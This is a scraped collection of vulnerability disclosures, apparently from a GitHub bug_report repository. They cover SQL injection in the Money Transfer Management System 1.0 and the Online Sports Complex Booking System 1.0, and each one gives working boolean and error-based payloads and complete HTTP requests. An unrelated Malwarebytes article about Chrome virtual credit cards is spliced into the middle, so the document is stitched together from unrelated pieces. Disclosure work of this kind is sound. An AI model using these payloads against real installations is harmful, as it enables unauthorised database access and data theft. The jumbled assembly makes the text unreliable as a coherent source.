Money Transfer Management System 1.0 is vulnerable to SQL Injection via /mtms/admin/?page=user/manage_user&id=.

**Money Transfer Management System v1.0 by oretnom23 has SQL injection**

**Author：** k0xx

vendors: https://www.sourcecodester.com/php/15015/money-transfer-management-system-send-money-businesses-php-free-source-code.html

Vulnerability File: /mtms/admin/?page=user/manage\_user&id=

Vulnerability location: /mtms/admin/?page=user/manage\_user&id=,id

\[+\] Payload: /mtms/admin/?page=user/manage\_user&id=1%27%20and%20length(database())%20=%207--+ // Leak place ---> id

Current database name: mtms\_db,length is 7

GET /mtms/admin/?page\=user/manage\_user&id\=1%27%20and%20length(database())%20\=%207\--\+ HTTP/1.1
Host: 192.168.1.19
Cache\-Control: max\-age\=0
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bnvs2lhahed1884v0nf12nt52s
Connection: close
// Leak place ---> id

When length (database ()) = 7, Content-Length: 27338 

When length (database ()) = 8, Content-Length: 27482

CVE-2022-29739: bug_report/SQLi-3.md at main · k0xx11/bug_report

Money Transfer Management System 1.0 is vulnerable to SQL Injection via \mtms\classes\Master.php?f=delete_fee.

Permalink

Cannot retrieve contributors at this time

**Money Transfer Management System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15015/money-transfer-management-system-send-money-businesses-php-free-source-code.html

Vulnerability File: \\mtms\\classes\\Master.php?f=delete\_fee

Vulnerability location: /mtms/classes/Master.php?f=delete\_fee, id

\[+\] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /mtms/classes/Master.php?f\=delete\_fee HTTP/1.1
Host: 192.168.1.19
Content\-Length: 65
Accept: application/json, text/javascript, \*/\*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/mtms/admin/?page=maintenance/fee
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bnvs2lhahed1884v0nf12nt52s
Connection: close
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

CVE-2022-29741: bug_report/SQLi-4.md at main · k0xx11/bug_report

Money Transfer Management System 1.0 is vulnerable to SQL Injection via \mtms\classes\Master.php?f=delete_transaction.

Permalink

Cannot retrieve contributors at this time

**Money Transfer Management System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15015/money-transfer-management-system-send-money-businesses-php-free-source-code.html

Vulnerability File: \\mtms\\classes\\Master.php?f=delete\_transaction

Vulnerability location: /mtms/classes/Master.php?f=delete\_transaction, id

\[+\] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /mtms/classes/Master.php?f\=delete\_transaction HTTP/1.1
Host: 192.168.1.19
Content\-Length: 65
Accept: application/json, text/javascript, \*/\*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/mtms/admin/?page=transaction
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bnvs2lhahed1884v0nf12nt52s
Connection: close
id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

CVE-2022-29745: bug_report/SQLi-5.md at main · k0xx11/bug_report

Money Transfer Management System 1.0 is vulnerable to SQL Injection via /mtms/classes/Users.php?f=delete.

Permalink

Cannot retrieve contributors at this time

**Money Transfer Management System v1.0 by oretnom23 has SQL injection**

**Author：** k0xx

vendors: https://www.sourcecodester.com/php/15015/money-transfer-management-system-send-money-businesses-php-free-source-code.html

Vulnerability File: /mtms/classes/Users.php?f=delete

Vulnerability location: /mtms/classes/Users.php?f=delete,id

\[+\] Payload: id=2' and length(database()) =7 --+ // Leak place ---> id

Current database name: mtms\_db,length is 7

POST /mtms/classes/Users.php?f\=delete HTTP/1.1
Host: 192.168.1.19
Content\-Length: 35
Accept: application/json, text/javascript, \*/\*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/mtms/admin/?page=user/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bnvs2lhahed1884v0nf12nt52s
Connection: close
id=2' and length(database()) =7 --+ // Leak place ---> id

When length (database ()) = 7, Content-Length: 19 

When length (database ()) = 8, Content-Length: 169

CVE-2022-29746: bug_report/SQLi-6.md at main · k0xx11/bug_report

Google are introducing virtual credit cards to the Chrome browser for users of their services in the US. We take a look at what's in store.
The post Virtual credit cards coming to Chrome: What you need to know appeared first on Malwarebytes Labs.

When you’re buying things online, reducing the exposure of payment details during transactions is one way to help reduce the risk of data theft. If you can _hide_ this payment data and switch it out for something else entirely, even better.

Google is proposing to do just that for customers in the US, with recently announced plans to offer a virtual credit card service for Chrome.

**What is a virtual credit card?**

The concept of virtual credit cards has been around for some time now. But with Google proposing to start using virtual credit cards, more people are likely to start talking about them.

Have you ever used a disposable email alias, or a VoIP service which displays a number of your choosing? These are ways you can keep your most personal information safe from prying eyes. Going one step further, it can be a valuable tool to pin down who’s had a breach, and who voluntarily leaks your data. If you create an email alias for every service you use, you’ll know the moment something has happened if the alias shows up in a dump or you receive spam on it.

Virtual credit card numbers share a few of these traits. Your actual card number never goes online. In its place is a variety of virtual numbers generated by your card provider connected to your account. These numbers may well expire at a set period in the future like real ones, so you don’t have to worry about an ever-increasing set of virtual details gathering dust in the corner.

Years ago, when I first started going to security conferences overseas, my bank card wasn’t accepted in most of the cities I visited. A stop-gap solution to this was someone buying me a bunch of pre-paid credit cards. This helped keep my real card safe. Virtual cards are like a _significantly_ more advanced version of pre-pay efforts. When I used them, some pre-paid cards had a cap on funds allocated so you had to buy several at a time, and they also expired if you didn’t use the money within a certain time period.

Good news: You don’t have to worry about _any_ of this with a virtual card number.

**What is Chrome offering to US based users?**

Here’s what Google has to say on the subject:

> _As people do more shopping online, keeping payment information safe and secure is critically important. We’re launching virtual cards on Chrome and Android. When you use autofill to enter your payment details at checkout, virtual cards will add an additional layer of security by replacing your actual card number with a distinct, virtual number. This eliminates the need to manually enter card details like the CVV at checkout, and they’re easy to manage at pay.google.com — where you can enable the feature for eligible cards, access your virtual card number, and see recent virtual card transactions. Virtual cards will be rolling out in the US for Visa, American Express, Mastercard and all Capital One cards starting this summer._

According to TechCrunch, Google “will not use any of this information for ad targeting purposes”. It remains to be seen if or when this rollout will extend to regions outside of the US.

**Keeping you safe, and saving you time**

The aim of the game is to make it harder for fraudsters to obtain your genuine details. Losing your card data to a skimming attack on a hijacked site or having it swiped from a database is a huge pain. Phonecalls and cancelled cards await.

I myself have had credit card details compromised. To this day, I have no idea how or where it happened. I only know that it involved a spectacular amount of wine. It happened during a rather complicated long distance house move, and having to sink time into calling fraud teams, cancelling the card I really could have done with for the move, and having a replacement card almost sent to the wrong address by mistake was really not great.

Yet these are the additional complications any sort of compromise routinely throw up. It’s never “just” the card details. If I’d had a virtual card number when the great wine heist of 2016 had taken place, it wouldn’t have mattered at all. I could have just switched to a new virtual number and be done. No card replacement required.

**Tightening the grip on bogus transactions**

Banks are increasingly ramping up checks made when trying to buy items online. Seeing a Verified by Visa popup, or a request to use an authenticator device, is fairly common. These tactics appear to be working. One bank reported 2,000 fewer cases of card fraud per month after the introduction of new payment checks.

Elsewhere, Apple Pay is serious about enhancing fraud prevention features. Location specific features (should you have them enabled) will help shut down rogue payment attempts.

A recent report claims card fraud losses could hit around $408.50 billion globally over the next decade. These are huge numbers to contend with. We’re going to need every tool available to chip away at that number. Whether you’re using virtual numbers, pre-loaded cards, or another method altogether for real world payments, having so many options available can only be a good thing.

Virtual credit cards coming to Chrome: What you need to know

Online Sports Complex Booking System 1.0 is vulnerable to SQL Injection via \scbs\classes\Master.php?f=delete_facility.

Permalink

Cannot retrieve contributors at this time

**Online Sports Complex Booking System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html

Vulnerability File: \\scbs\\classes\\Master.php?f=delete\_facility

Vulnerability location: /scbs/classes/Master.php?f=delete\_facility, id

\[+\] Payload: id=4' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

POST /scbs/classes/Master.php?f\=delete\_facility HTTP/1.1
Host: 192.168.1.19
Content\-Length: 65
Accept: application/json, text/javascript, \*/\*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/scbs/admin/?page=facilities
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=p5eujbkhl692v4hpr6ltptnq06
Connection: close
id=4' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+// Leak place ---> id

Tag

#chrome